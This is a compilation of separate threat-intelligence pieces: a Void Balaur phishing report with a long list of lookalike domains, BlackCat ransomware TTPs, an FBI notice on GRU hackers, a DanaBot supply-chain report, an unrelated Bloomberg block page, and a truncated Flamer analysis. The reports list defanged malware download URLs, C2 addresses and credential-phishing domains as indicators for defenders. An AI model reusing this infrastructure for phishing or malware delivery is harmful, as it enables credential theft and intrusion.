- Free Email Services (e.g., mail-my-accounts-gmail[.]com)
- Email Security / Privacy (e.g., security-my-account[.]ru)
- Email Authentication / OAuth (e.g., accounts-oauth-gmail[.]com)
- Passports / Local Government (Limited, often Russian focus) (e.g., no-reply-gosuslugi[.]ru)
The collection of associated attacker infrastructure, such as domains and non-shared IPs, is quite large and requires automated methods of tracking to keep up.
Based on our collection of all known Void Balaur domains, we can determine the creation time of each based on year for an estimate of actor campaign activity. While early years activity was generally a very small set of infrastructure, we can note the explosion of activity in 2019. Around this time is when the group was gaining a bad reputation and abandoning brands (Hacknet). This indicates that the group remained highly active without a well-known brand, potentially fulfilling requests for customers without the need to publicly advertise anymore.
It’s worth noting that the 2022 quantity is lower than expected at this time. However, the group historically has registered domains in bulk rather than evenly throughout the year. Additionally, we have observed a new set of infrastructure and campaigns we believe may be Void Balaur; however, technical links are not yet confident enough to publicly share at this time. Such activity could be an entirely unique group or a new phase of Void Balaur attempting to evade further tracking.
## Intriguing Relationships
A potential indicator of the careless OPSEC in the Void Balaur infrastructure is a low-confidence connection to the Russian Federal Protective / Guard Service (FSO). The FSO institution operates with a range of capabilities, including the right to conduct surveillance, monitor communications, and operate clandestine activities. Was this a customer-confidentiality oversight by Void Balaur? Perhaps a mistake in the workflow of expanding their infrastructure? The meaning and exact technical reason behind this connection is unclear; however, based on our attribution to technical operators outside of Russia, it is potentially a clue that Russian intelligence agencies are somehow involved with Void Balaur and the FSO is either directly using the services or supporting the use of the services internally.
Specifically, one domain in the thousands of those created and operated by Void Balaur over the years was seen immediately resolving to the Russian FSO network after it was registered. In early 2022, the domain accounts-my-mail-gmail[.]com resolved to 95.173.132[.]1 for four days following its registration, then quickly shifting to the traditional Void Balaur cluster of infrastructure. The IP 95.173.132[.]1 is owned and operated by the Russian FSO, typically reserved for official .ru government websites. To reiterate, this connection is only observed once in the entirety of Void Balaur infrastructure.
## Targeting
Void Balaur continues their known targeting of a wide variety of individuals and organizations across the globe. The vast majority of known 2022 targets hold a special interest or involvement in business and political situations relevant to organizations inside Russia. Examples include individuals heavily involved in geopolitics, legal, business transactions, technology, human rights, and more. Locations of these individuals include:
- Russia
- United States
- United Kingdom
- Taiwan
- Brazil
- Kazakhstan
- Ukraine
- Moldova
- Georgia
- Spain
- Central African Republic
- Sudan
We observed continued targeting in 2022 making use of generic, highly reproducible phishing emails to lure targets into providing account credentials. Based on thousands of phishing domains we collected, Google-owned services are the most common targets and attack themes. However, in most cases, the phishing emails are somewhat more relevant to the target of choice. For example, this includes emails designed to mimic local government services or online websites common to a particular target, such as banking or social media. Void Balaur has made use of this approach for much of its existence. Examples include a 2016 attempt at phishing on the Moscow motorcycle road racing YouTuber Alexey Naberezhny, and in 2017 the Russian journalist and social media personality Ilya Varlamov. These individuals were targeted by Void Balaur with phishing emails spoofing Russian Public Services traffic fines.
In this case, the payment link goes to srv-gm[.]ru, accountc-gooogle.com, and others, which returns an illicit Google login page.
In 2022, we observed cases in which Void Balaur sought to compromise Google accounts with multi-factor authentication enabled as well. For example, some phishing pages would ask the target to enter backup codes Google provides during the initial 2-Step verification setup process.
## Conclusion
Void Balaur remains a highly active and evolving threat to individuals across the globe. From the targeting of well-known email services to the offering of hacking corporate networks, the group represents a clear example of the hack-for-hire market. We expect this type of actor to be increasingly common to observe in the wild.
## Recent IOCs
- account-mail-passport[.]ru
- account-my-mail-gmail[.]com
- account-my-oauths-mail[.]ru
- account-oauth-gmail[.]com
- accounts-mail-passport[.]ru
- accounts-my-mail-gmail[.]com
- accounts-my-oauth-mail[.]ru
- accounts-oauth-gmail[.]com
- cloud-account-mail[.]ru
- cloud-accounts-goglemail[.]com
- cloud-accounts-mail[.]ru
- cloud-my-accounts-mail[.]ru
- cloud-myaccount-goglemail[.]com
- cloud-myaccount-mail[.]ru
- community-experience-manager[.]ru
- community-experience-my-community[.]ru
- community-experience-permission[.]ru
- community-experience-preference[.]ru
- community-experience-types[.]ru
- community-experience[.]ru
- community-manager-experience[.]ru
- community-manager-place[.]ru
- community-manager-preference[.]ru
- community-manager-safety[.]ru
- community-manager-smartlink[.]ru
- community-manager-types[.]ru
- community-manager[.]ru
- community-my-permission[.]ru
- community-my-place[.]ru
- community-my-safe[.]ru
- community-my-safety[.]ru
- community-my-source[.]ru
- community-my-types[.]ru
- community-online-experience[.]ru
- community-online-manager[.]ru
- community-online-permission[.]ru
- community-online-place[.]ru
- community-online-types[.]ru
- community-permission-experience[.]ru
- community-permission-manager[.]ru
- community-permission-preference[.]ru
- community-permission-source[.]ru
- community-permission[.]ru
- community-place-community[.]ru
- community-place-manager[.]ru
- community-place-permission[.]ru
- community-place-preference[.]ru
- community-place-types[.]ru
- community-place[.]ru
- community-preference-manager[.]ru
- community-preference-permission[.]ru
- community-preference-place[.]ru
- community-safe-manager[.]ru
- community-safe-permission[.]ru
- community-safe-place[.]ru
- community-safe-types[.]ru
- community-safety-manager[.]ru
- community-safety-my-experience[.]ru
- community-safety-permission[.]ru
- community-safety-place[.]ru
- community-safety-preference[.]ru
- community-safety-types[.]ru
- community-smartlink-experience[.]ru
- community-smartlink-manager[.]ru
- community-smartlink-permission[.]ru
- community-smartlink-types[.]ru
- community-source-manager[.]ru
- community-source-permission[.]ru
- community-source-place[.]ru
- community-source-preference[.]ru
- community-types-experience[.]ru
- community-types-manager[.]ru
- community-types-permission[.]ru
- community-types[.]ru
- experience-community-manager[.]ru
- experience-community-my-smartlink[.]ru
- experience-community-permission[.]ru
- experience-community-preference[.]ru
- experience-manager-community[.]ru
- experience-manager-permission[.]ru
- experience-manager-place[.]ru
- experience-manager-safety[.]ru
- experience-manager-smartlink[.]ru
- experience-manager-types[.]ru
- experience-manager[.]ru
- experience-my-community-smartlink[.]ru
- experience-my-manager[.]ru
- experience-my-online-smartlink[.]ru
- experience-my-permission[.]ru
- experience-my-place[.]ru
- experience-my-preference-smartlink[.]ru
- experience-my-preference[.]ru
- experience-my-safe-smartlink[.]ru
- experience-my-safe[.]ru
- experience-my-safety[.]ru
- experience-my-source-smartlink[.]ru
- experience-my-source[.]ru
- experience-online-manager[.]ru
- experience-online-my-smartlink[.]ru
- experience-online-permission[.]ru
- experience-online-place[.]ru
- experience-online-preference[.]ru
- experience-online-smartlink[.]ru
- experience-online-types[.]ru
- experience-permission-community[.]ru
- experience-permission-manager[.]ru
- experience-permission-place[.]ru
- experience-permission-preference[.]ru
- experience-permission-smartlink[.]ru
- experience-permission-source[.]ru
- experience-permission[.]ru
- experience-place-smartlink[.]ru
- experience-place-types[.]ru
- experience-place[.]ru
- experience-preference-manager[.]ru
- experience-preference-my-smartlink[.]ru
- experience-preference-permission[.]ru
- experience-preference-place[.]ru
- experience-safe-manager[.]ru
- experience-safe-my-smartlink[.]ru
- experience-safe-permission[.]ru
- experience-safe-place[.]ru
- experience-safe-preference[.]ru
- experience-safe-smartlink[.]ru
- experience-safe-types[.]ru
- experience-safety-manager[.]ru
- experience-safety-my-smartlink[.]ru
- experience-safety-permission[.]ru
- experience-safety-place[.]ru
- experience-safety-preference[.]ru
- experience-safety-smartlink[.]ru
- experience-safety-types[.]ru
- experience-smartlink-manager[.]ru
- experience-smartlink-permission[.]ru
- experience-smartlink-preference[.]ru
- experience-source-my-smartlink[.]ru
- experience-source-place[.]ru
- experience-source-preference[.]ru
- experience-source-smartlink[.]ru
- experience-types-place[.]ru
- experience-types-smartlink[.]ru
- experience-types[.]ru
- login-account-cloud-mail[.]ru
- login-accounts-mail[.]ru
- login-auth-account-mail[.]ru
- login-auth-accounts-mail[.]ru
- login-cloud-account-mail[.]ru
- login-cloud-myaccount-mail[.]ru
- login-my-acounts-mail[.]ru
- login-myaccount-cloud-mail[.]ru
- login-oauth-mail[.]ru
- mail-auth-account[.]ru
- mail-auth-myacount[.]ru
- mail-ems[.]ru
- mail-login-auth[.]ru
- mail-login-oauth[.]ru
- mail-my-acounts-mail[.]ru
- mail-my-passport-account[.]ru
- mail-security-myaccount[.]ru
- mail-security-myaccounts[.]ru
- manager-community-permission[.]ru
- manager-community-place[.]ru
- manager-community-types[.]ru
- manager-experience-permission[.]ru
- manager-experience-place[.]ru
- manager-experience-preference[.]ru
- manager-experience-types[.]ru
- manager-my-community[.]ru
- manager-my-experience[.]ru
- manager-my-preference[.]ru
- manager-my-safe[.]ru
- manager-my-smartlink[.]ru
- manager-my-source[.]ru
- manager-online-community[.]ru
- manager-online-permission[.]ru
- manager-online-place[.]ru
- manager-online-preference[.]ru
- manager-online-smartlink[.]ru
- manager-online-types[.]ru
- manager-permission-place[.]ru
- manager-permission-preference[.]ru
- manager-permission-source[.]ru
- manager-permission-types[.]ru
- manager-place-community[.]ru
- manager-place-experience[.]ru
- manager-place-permission[.]ru
- manager-place-preference[.]ru
- manager-place-smartlink[.]ru
- manager-place-types[.]ru
- manager-preference-community[.]ru
- manager-preference-permission[.]ru
- manager-preference-place[.]ru
- manager-preference-smartlink[.]ru
- manager-preference-types[.]ru
- manager-safe-community[.]ru
- manager-safe-experience[.]ru
- manager-safe-permission[.]ru
- manager-safe-place[.]ru
- manager-safe-preference[.]ru
- manager-safe-smartlink[.]ru
- manager-safe-types[.]ru
- manager-safety-community[.]ru
- manager-safety-permission[.]ru
- manager-safety-place[.]ru
- manager-safety-smartlink[.]ru
- manager-smartlink-permission[.]ru
- manager-smartlink-place[.]ru
- manager-smartlink-types[.]ru
- manager-source-community[.]ru
- manager-source-permission[.]ru
- manager-source-place[.]ru
- manager-source-preference[.]ru
- manager-source-smartlink[.]ru
- manager-types-community[.]ru
- manager-types-experience[.]ru
- manager-types-permission[.]ru
- manager-types-place[.]ru
- my-account-auth-mail[.]ru
- my-account-mail-passport[.]ru
- my-account-my-cloud-mail[.]ru
- my-account-oauth-mail[.]ru
- my-accounts-mail-passport[.]ru
- my-acount-oauths[.]ru
- my-cloud-accounts-mail[.]ru
- my-community-experience[.]ru
- my-community-manager[.]ru
- my-community-permission[.]ru
- my-community-place[.]ru
- my-community-smartlink[.]ru
- my-community[.]ru
- my-experience-manager[.]ru
- my-experience-permission[.]ru
- my-experience-place[.]ru
- my-experience-preference[.]ru
- my-mail-account-mail[.]ru
- my-mail-account-yahoo[.]com
- my-mail-accounts-mail[.]ru
- my-manager-community[.]ru
- my-manager-experience[.]ru
- my-manager-place[.]ru
- my-manager-preference[.]ru
- my-manager-safety[.]ru
- my-manager-smartlink[.]ru
- my-oauth-account-gmail[.]com
- my-oauth-account-mail[.]ru
- my-oauth-accounts-mail[.]ru
- my-oauths-account-mail[.]ru
- my-oauths-accounts-mail[.]ru
- my-online-experience[.]ru
- my-online-permission[.]ru
- my-online-place[.]ru
- my-permission-community[.]ru
- my-permission-experience[.]ru
- my-permission-manager[.]ru
- my-permission-place[.]ru
- my-permission-preference[.]ru
- my-permission-smartlink[.]ru
- my-place-smartlink[.]ru
- my-preference-experience[.]ru
- my-preference-manager[.]ru
- my-preference-permission[.]ru
- my-preference-place[.]ru
- my-preference[.]ru
- my-safe-community[.]ru
- my-safe-experience[.]ru
- my-safe-permission[.]ru
- my-safe-place[.]ru
- my-safety-community[.]ru
- my-safety-experience[.]ru
- my-safety-permission[.]ru
- my-safety-place[.]ru
- my-signin-account-gmail[.]com
- my-signin-accounts-gmail[.]com
- my-smartlink-experience[.]ru
- my-smartlink-manager[.]ru
- my-smartlink-permission[.]ru
- my-smartlink-place[.]ru
- my-smartlink[.]ru
- my-source-community[.]ru
- my-source-place[.]ru
- my-types-community[.]ru
- my-types-permission[.]ru
- my-types-place[.]ru
- myaccount-mail-passport[.]ru
- myaccount-my-mail-gmail[.]com
- myaccount-oauths[.]ru
- myaccounts-auth[.]ru
- myaccounts-mail-passport[.]ru
- myaccounts-my-mail-gmail[.]com
- no-reply-gosuslugi[.]ru
- oauth-login-account-mail[.]ru
- oauth-login-accounts-mail[.]ru
- permission-community-experience[.]ru
- permission-community-manager[.]ru
- permission-community-place[.]ru
- permission-community-preference[.]ru
- permission-community-types[.]ru
- permission-experience-manager[.]ru
- permission-experience-preference[.]ru
- permission-manager-community[.]ru
- permission-manager-experience[.]ru
- permission-manager-place[.]ru
- permission-manager-preference[.]ru
- permission-manager-smartlink[.]ru
- permission-manager-types[.]ru
- permission-my-community[.]ru
- permission-my-experience[.]ru
- permission-my-manager[.]ru
- permission-my-place[.]ru
- permission-my-preference[.]ru
- permission-my-safe[.]ru
- permission-my-smartlink[.]ru
- permission-my-source[.]ru
- permission-my-types[.]ru
- permission-online-experience[.]ru
- permission-online-manager[.]ru
- permission-online-place[.]ru
- permission-online-preference[.]ru
- permission-online-types[.]ru
- permission-place-community[.]ru
- permission-place-experience[.]ru
- permission-place-manager[.]ru
- permission-place-smartlink[.]ru
- permission-place-types[.]ru
- permission-place[.]ru
- permission-preference-manager[.]ru
- permission-preference-types[.]ru
- permission-safe-experience[.]ru
- permission-safe-manager[.]ru
- permission-safe-place[.]ru
- permission-safe-preference[.]ru
- permission-safe-types[.]ru
- permission-safety-experience[.]ru
- permission-safety-manager[.]ru
- permission-safety-place[.]ru
- permission-safety-preference[.]ru
- permission-safety-smartlink[.]ru
- permission-safety-types[.]ru
- permission-smartlink-experience[.]ru
- permission-smartlink-manager[.]ru
- permission-smartlink-preference[.]ru
- permission-smartlink-types[.]ru
- permission-smartlink[.]ru
- permission-source-manager[.]ru
- permission-source-preference[.]ru
- permission-types-place[.]ru
- place-community-experience[.]ru
- place-community-manager[.]ru
- place-community-permission[.]ru
- place-community-safe[.]ru
- place-community-safety[.]ru
- place-community-smartlink[.]ru
- place-community-source[.]ru
- place-community-types[.]ru
- place-community[.]ru
- place-experience-community[.]ru
- place-experience-manager[.]ru
- place-experience-permission[.]ru
- place-experience-place[.]ru
- place-experience-safe[.]ru
- place-experience-safety[.]ru
- place-experience-source[.]ru
- place-experience-types[.]ru
- place-experience[.]ru
- place-manager-community[.]ru
- place-manager-permission[.]ru
- place-manager-safe[.]ru
- place-manager-safety[.]ru
- place-manager-smartlink[.]ru
- place-manager-types[.]ru
- place-manager[.]ru
- place-my-community[.]ru
- place-my-experience[.]ru
- place-my-manager[.]ru
- place-my-permission[.]ru
- place-my-preference[.]ru
- place-my-safe[.]ru
- place-my-smartlink[.]ru
- place-my-types[.]ru
- place-online-community[.]ru
- place-online-experience[.]ru
- place-online-manager[.]ru
- place-online-permission[.]ru
- place-online-safety[.]ru
- place-online-smartlink[.]ru
- place-online-source[.]ru
- place-online-types[.]ru
- place-permission-community[.]ru
- place-permission-experience[.]ru
- place-permission-safety[.]ru
- place-permission-smartlink[.]ru
- place-permission-source[.]ru
- place-permission-types[.]ru
- place-permission[.]ru
- place-preference-community[.]ru
- place-preference-experience[.]ru
- place-preference-manager[.]ru
- place-preference-place[.]ru
- place-preference-safe[.]ru
- place-preference-smartlink[.]ru
- place-preference-source[.]ru
- place-preference-types[.]ru
- place-preference[.]ru
- place-safe-community[.]ru
- place-safe-experience[.]ru
- place-safe-manager[.]ru
- place-safe-permission[.]ru
- place-safe-safety[.]ru
- place-safe-smartlink[.]ru
- place-safe-source[.]ru
- place-safe-types[.]ru
- place-safety-community[.]ru
- place-safety-experience[.]ru
- place-safety-permission[.]ru
- place-safety-smartlink[.]ru
- place-safety-source[.]ru
- place-safety-types[.]ru
- place-smartlink-community[.]ru
- place-smartlink-experience[.]ru
- place-smartlink-manager[.]ru
- place-smartlink-preference[.]ru
- place-smartlink-safe[.]ru
- place-smartlink-safety[.]ru
- place-smartlink-source[.]ru
- place-smartlink-types[.]ru
- place-smartlink[.]ru
- place-source-community[.]ru
- place-source-experience[.]ru
- place-source-permission[.]ru
- place-source-safety[.]ru
- place-source-smartlink[.]ru
- place-types-community[.]ru
- place-types-experience[.]ru
- place-types-permission[.]ru
- place-types-place[.]ru
- types-community-experience[.]ru
- types-community-permission[.]ru
- types-community-place[.]ru
- types-community-preference[.]ru
- types-community[.]ru
- types-experience-place[.]ru
- types-experience[.]ru
- types-manager-permission[.]ru
- types-manager-place[.]ru
- types-manager-preference[.]ru
- types-manager-smartlink[.]ru
- types-my-permission[.]ru
- types-my-place[.]ru
- types-my-smartlink[.]ru
- types-online-community[.]ru
- types-online-experience[.]ru
- types-online-permission[.]ru
- types-online-place[.]ru
- types-online-preference[.]ru
- types-online-smartlink[.]ru
- types-palce-experience[.]ru
- types-palce-smartlink[.]ru
- types-permission-experience[.]ru
- types-permission-place[.]ru
- types-place-community[.]ru
- types-place-experience[.]ru
- types-place-permission[.]ru
- types-place-preference[.]ru
- types-place-smartlink[.]ru
- types-place[.]ru
- types-preference-experience[.]ru
- types-preference-place[.]ru
- types-safe-experience[.]ru
- types-safe-smartlink[.]ru
- types-safety-experience[.]ru
- types-safety-smartlink[.]ru
- types-smartlink-community[.]ru
- types-smartlink-experience[.]ru
- types-smartlink-manager[.]ru
- types-smartlink-place[.]ru
- types-smartlink[.]ru
- yandex-account-mail-passport[.]ru
- yandex-account-passport[.]ru
- yandex-accounts-mail-passport[.]ru
- yandex-auth-passport[.]ru
- yandex-my-account-passport[.]ru
- yandex-my-accounts-passport[.]ru
- yandex-my-passport-accounts[.]ru
- yandex-my-profile-passport[.]ru
- yandex-myaccount-mail-passport[.]ru
- yandex-myaccount-passport[.]ru
- yandex-myaccounts-mail-passport[.]ru
- yandex-myaccounts-passport[.]ru
- yandex-mypassport-account[.]ru
- yandex-mypassport-accounts[.]ru
- yandex-myprofile-passport[.]ru
- yandex-oauth-passport[.]ru
- yandex-passport-my-account[.]ru
- yandex-profile-passport[.]ru |
# TTPs Associated With a New Version of the BlackCat Ransomware
**Vlad Pasca, Senior Malware & Threat Analyst**
**Posted on September 6th, 2022**
## Executive Summary
The BlackCat/ALPHV ransomware is a complex threat written in Rust that appeared in November 2021. In this post, we describe a real engagement that we recently handled by giving details about the tools, techniques, and procedures (TTPs) used by this threat actor.
Firstly, the attacker targeted an unpatched Microsoft Exchange server and successfully dropped webshells on the machine. After getting initial access, the ransomware installed the MobaXterm software and then started to dump the credentials using Mimikatz or by creating an LSASS dump file with Process Hacker. The SoftPerfect Network scanner was used to perform network discovery. Before running the ransomware executable, the TA compressed the targeted files using WinRAR or 7zip and then exfiltrated them using rclone and MEGAsync.
Our Digital Forensics and Incident Response (DFIR) team was engaged in investigating a ransomware infection. We were able to determine that the ransomware involved is a new version of the BlackCat ransomware, based on the fact that the malware added new command line parameters that were not documented before.
As shown in Figure 1, the ransomware added a parameter called “--safeboot” that is used to reboot in Safe Mode. Whether the malware is running with the “--sleep-restart” parameter, the process sleeps for a specified number of seconds and then restarts the machine.
By accessing the onion link specified in the ransom note called “RECOVER-<extension>-FILES.txt”, the victim is presented with multiple tabs that contain information such as the ransom amount in Bitcoin and Monero, the threat actor’s wallets addresses, a live chat, and a trial decrypt that can be used to decrypt a few files for free.
## Initial Access
According to our analysis, the entry point in the organization was an Exchange server that was vulnerable to Microsoft Exchange vulnerabilities. Multiple webshells have been identified on the impacted server.
## Remote Access Tools
After gaining access to the internal network, the ransomware installed the legitimate tools MobaXterm and mottynew.exe (MobaXterm terminal).
## Lateral Movement
As we already know from the malware analysis of the ransomware, BlackCat steals credentials from the victim’s environment and incorporates them into its configuration (“credentials” field). Mimikatz was utilized to dump the credentials, and then the malware pivots from one machine to another via Remote Desktop Protocol (RDP).
An old version of the SoftPerfect Network scanner was used to perform network scanning in order to discover additional targets in the local network.
## Data Exfiltration
Once the threat actor decided which files to exfiltrate, the malware compressed them using WinRAR or 7zip. The ransomware installed a tool called rclone that is utilized to upload data to cloud storage providers. A second tool called MEGAsync is also installed by the process, which can upload data to the MEGA Cloud Storage.
We’ve also observed the ransomware installing tools such as FileZilla and WinSCP that could be used to perform data exfiltration.
## Other Tools Installed
We’ve investigated and found out that the ransomware installed the cURL tool to download additional files. Process Hacker was also installed by the malware and could be used to dump the memory of the LSASS process. In the same directory with Process Hacker, the BlackCat ransomware dropped a copy of the PEView tool, which is a viewer for Portable Executable (PE) files.
## Conclusion
BlackCat ransomware remains a serious threat because it targets Windows hosts, Linux hosts, and VMWare ESXi. The access token that the malware is running with makes the automated analysis impossible and increases the difficulty of the dynamic malware analysis. The usage of legitimate tools to perform malicious activities increases the chance of not being detected by endpoint detection and response (EDR) or antivirus software. |
# GRU Hackers' Destructive Malware and International Cyber Attacks
**Conspiracy to Commit an Offense Against the United States; False Registration of a Domain Name; Conspiracy to Commit Wire Fraud; Wire Fraud; Intentional Damage to Protected Computers; Aggravated Identity Theft**
On October 15, 2020, a federal grand jury sitting in the Western District of Pennsylvania returned an indictment against six Russian military intelligence officers for their alleged roles in targeting and compromising computer systems worldwide, including those relating to critical infrastructure in Ukraine, a political campaign in France, and the country of Georgia; international victims of the “NotPetya” malware attacks (including critical infrastructure providers); and international victims associated with the 2018 Winter Olympic Games and investigations of nerve agent attacks that have been publicly attributed to the Russian government.
The indictment charges the defendants, Yuriy Sergeyevich Andrienko, Sergey Vladimirovich Detistov, Pavel Valeryevich Frolov, Anatoliy Sergeyevich Kovalev, Artem Valeryevich Ochichenko, and Petr Nikolayevich Pliskin, with a computer hacking conspiracy intended to deploy destructive malware and take other disruptive actions, for the strategic benefit of Russia, through unauthorized access to victims’ computers. The indictment also charges these defendants with false registration of a domain name, conspiracy to commit wire fraud, wire fraud, intentional damage to protected computers, aggravated identity theft, and aiding and abetting those crimes. The United States District Court for the Western District of Pennsylvania issued a federal arrest warrant for each of these defendants upon the grand jury’s return of the indictment.
**SHOULD BE CONSIDERED ARMED AND DANGEROUS, AN INTERNATIONAL FLIGHT RISK, AND AN ESCAPE RISK**
**Submit a Tip:**
If you have any information concerning these individuals, please contact your local FBI office, or the nearest American Embassy or Consulate. |
# Spike in DanaBot Malware Activity
## Key Points
- Two large software supply chain attacks distributed the DanaBot malware.
- DanaBot is a malware-as-a-service platform discovered in 2018 that focuses on credential theft and banking fraud.
- DanaBot’s popularity has waned in recent years, but these campaigns may signal a return of the malware and its affiliates to the threat landscape.
## Introduction
The DanaBot malware had a spike in new activity recently, including being distributed via two large software supply chain attacks and being used in a Distributed Denial of Service (DDoS) attack on a Russian language electronics forum. DanaBot, first discovered by Proofpoint in May 2018, is a malware-as-a-service platform where threat actors, known as “affiliates” and identified by “affiliate IDs,” purchase access to the platform from another threat actor who develops the malware and command and control (C2) panel, sets up and maintains the shared C2 infrastructure, and provides sales and customer support. Affiliates then distribute and use the malware as they see fit—mostly to steal credentials and commit banking fraud. While it was a prominent banking malware for a number of years and despite a new major update being spotted at the end of 2020 (as documented by Proofpoint, ESET, and LEXFO), DanaBot has been relatively quiet in the recent threat landscape.
## Large Software Supply Chain Attack (October 22, 2021)
As reported by the Cybersecurity and Infrastructure Security Agency (CISA), GitHub, the developer, and others, the NPM JavaScript package for “UAParser.js” was compromised on Friday, October 22, 2021, and used to distribute a cryptocurrency miner and DanaBot. UAParser.js is a JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data with relatively small footprint. Based on its NPM stats, it has 7 million weekly downloads.
The DanaBot malware was downloaded from:
`hxxps://citationsherbe.at/sdd.dll`
The packed/crypted loader component has a SHA-256 hash of:
`2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd`
The loader downloads a main component which has a SHA-256 of:
`77ff83cc49d6c1b71c474a17eeaefad0f0a71df0a938190bf9a9a7e22531c292`
The main component was configured with the following configuration:
The malware was also configured with a backup TOR C2:
`bjij7tqwaipwbeig5ubq4xjb6fy7s3lknhkjojo4vdngmqm6namdczad.onion`
As highlighted, the affiliate ID for this sample was 40. Based on Zscaler ThreatLabz tracking, this is a new affiliate to the DanaBot ecosystem. At the time of the incident, the affiliate had only configured the malware’s credential stealing component to be active—the person-in-the-browser and webinject bank fraud component was not activated. While the post-infection intentions of the threat actor aren’t known, given the focus on credentials, the size of the attack, and the crimeware landscape being dominated by initial access brokers selling access to ransomware affiliates, this outcome can’t be ruled out.
## Second Large Software Supply Chain Attack (November 4, 2021)
As reported by Twitter, GitHub, and others, another NPM package was compromised and used to distribute DanaBot. The package is called “COA” and it is a parser for command line options that aim to get maximum profit from formalization of your program API. Based on NPM stats, it had almost 9 million weekly downloads. The attack took place on Thursday, November 4, 2021, and it was by the same DanaBot affiliate ID 40 threat actor as in the October 22, 2021 attack on “UAParser.js.”
The DanaBot loader component used in this campaign was distributed from:
`hxxps://pastorcryptograph.at/3/sdd.dll`
It has a SHA-256 hash of:
`26451f7f6fe297adf6738295b1dcc70f7678434ef21d8b6aad5ec00beb8a72cf`
and was used to download a DanaBot main component with the SHA-256 hash of:
`e7c9951f26973c3915ffadced059e629390c2bb55b247e2a1a95effbd7d29204`
Similar to the first incident, the threat actor had only configured the malware’s credential stealing component to be active.
## DDoS Attack on Russian Language Electronics Forum
DanaBot affiliate ID 4 was also active last week. While this affiliate isn’t new, there hasn’t been a change to their component configurations for some time. On Wednesday, October 20, 2021, the affiliate configured its DanaBot victims to download and execute a new executable with a SHA-256 hash of:
`8b64b8bfd9e36cc40c273deccd4301a6c2ab44df03b976530c1bc517d7220bce`
The downloaded executable is written in the Delphi programming language and its only functionality is to implement a bare-bones HTTP-based DDoS attack on a hardcoded IP address and host. The template used to generate the HTTP requests is shown below:
As highlighted in the “Host” header, the attack targets a Russian language forum focused on the discussion of electronics. The “User-Agent” header, hardcoded target, and simple functionality seems to imply that the payload was designed to settle a personal grudge instead of indicating a larger change in the threat actor’s tactics, techniques, and procedures (TTPs).
## Conclusion
While the popularity and activity of DanaBot has declined in recent years, the UAParser.js and COA software supply chain attacks show that the malware is still an active threat. It is currently unclear whether these attacks were a one-off opportunity for a threat actor or whether this and other activity signals the return of DanaBot and its affiliates.
## Cloud Sandbox Detection
### MITRE ATT&CK TTP Mapping
| Tactic | Technique |
|--------|-----------|
| T1586 | Compromise Accounts |
| T1195 | Supply Chain Compromise |
| T1204 | User Execution |
| T1555 | Credentials from Password Stores |
| T1003 | OS Credential Dumping |
| T1539 | Steal Web Session Cookie |
| T1115 | Clipboard Data |
| T1573 | Encrypted Channel |
| T1008 | Fallback Channels |
| T1041 | Exfiltration Over C2 Channel |
## Indicators of Compromise
| IOC | Notes |
|-----|-------|
| `hxxps://citationsherbe.at/sdd.dll` | October 22, 2021, affiliate ID 40 distribution URL |
| `2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd` | October 22, 2021, affiliate ID 40 loader component |
| `77ff83cc49d6c1b71c474a17eeaefad0f0a71df0a938190bf9a9a7e22531c292` | October 22, 2021, affiliate ID 40 main component |
| `185.158.250.216:443` | October 22, 2021, affiliate ID 40 configured C2 |
| `194.76.225.46:443` | October 22, 2021, affiliate ID 40 configured C2 |
| `45.11.180.153:443` | October 22, 2021, affiliate ID 40 configured C2 |
| `194.76.225.61:443` | October 22, 2021, affiliate ID 40 configured C2 |
| `bjij7tqwaipwbeig5ubq4xjb6fy7s3lknhkjojo4vdngmqm6namdczad.onion` | October 22, 2021, affiliate ID 40 configured backup C2 |
| `hxxps://pastorcryptograph.at/3/sdd.dll` | November 4, 2021, affiliate ID 40 distribution URL |
| `26451f7f6fe297adf6738295b1dcc70f7678434ef21d8b6aad5ec00beb8a72cf` | November 4, 2021, affiliate ID 40 loader component |
| `e7c9951f26973c3915ffadced059e629390c2bb55b247e2a1a95effbd7d29204` | November 4, 2021, affiliate ID 40 main component |
| `185.117.90.36:443` | November 4, 2021, affiliate ID 40 configured C2 |
| `193.42.36.59:443` | November 4, 2021, affiliate ID 40 configured C2 |
| `193.56.146.53:443` | November 4, 2021, affiliate ID 40 configured C2 |
| `185.106.123.228:443` | November 4, 2021, affiliate ID 40 configured C2 |
| `f4d12a885f3f53e63ac1a34cc563db0efb6d2d1d570317f7c63f0e6b5bf260b2` | Recent, Affiliate ID 4 loader component |
| `ad0ccba36cef1de383182f866478abcd8b91f8e060d03e170987431974dc861e` | Recent, Affiliate ID 4 main component |
| `192.119.110.73:443` | Affiliate ID 4 configured C2 |
| `192.236.147.159:443` | Affiliate ID 4 configured C2 |
| `192.210.222.88:443` | Affiliate ID 4 configured C2 |
| `gcwr4vcf72vpcrgevcziwb7axooa3n47l57dsiwxvzvcdlt7exsvk5yd.onion` | Affiliate ID 4 configured backup C2 | |
# Bloomberg
Why did this happen? Please make sure your browser supports JavaScript and cookies and that you are not blocking them from loading. For more information you can review our Terms of Service and Cookie Policy.
Need Help? For inquiries related to this message please contact our support team and provide the reference ID below.
Block reference ID: We've detected unusual activity from your computer network. To continue, please click the box below to let us know you're not a robot. |
# Endpoint Protection
W32.Flamer is possibly the only Windows-based threat we have encountered which uses Bluetooth. It is yet another indicator that W32.Flamer is not only exceptional, but that it is a comprehensive information gathering and espionage tool. The CrySyS laboratory has previously documented the technical details of Bluetooth in W32.Flamer. But, what does this actually mean for potential victims targeted by Flamer? What can an attacker accomplish using Bluetooth?
The Bluetooth functionality in Flamer is encoded in a module called "BeetleJuice". This module is triggered according to configuration values set by the attacker. When triggered it performs two primary actions:
1. The first is to scan for all Bluetooth devices in range. When a device is found, its status is queried and the details of the device recorded—including its ID—presumably to be uploaded to the attacker at some point.
2. The second action is to configure itself as a Bluetooth beacon. This means that a computer compromised by W32.Flamer will appear when any other Bluetooth device scans the local area. In addition to enabling a Bluetooth beacon, Flamer encodes details about the infected computer and then stores these details in a special 'description' field. When any other device scans for Bluetooth-enabled devices, this description field will be displayed.
These are the facts of how Flamer uses Bluetooth. And what can the attacker do with this functionality? There are several potential avenues available:
**Scenario #1 – Identification of victim social networks**
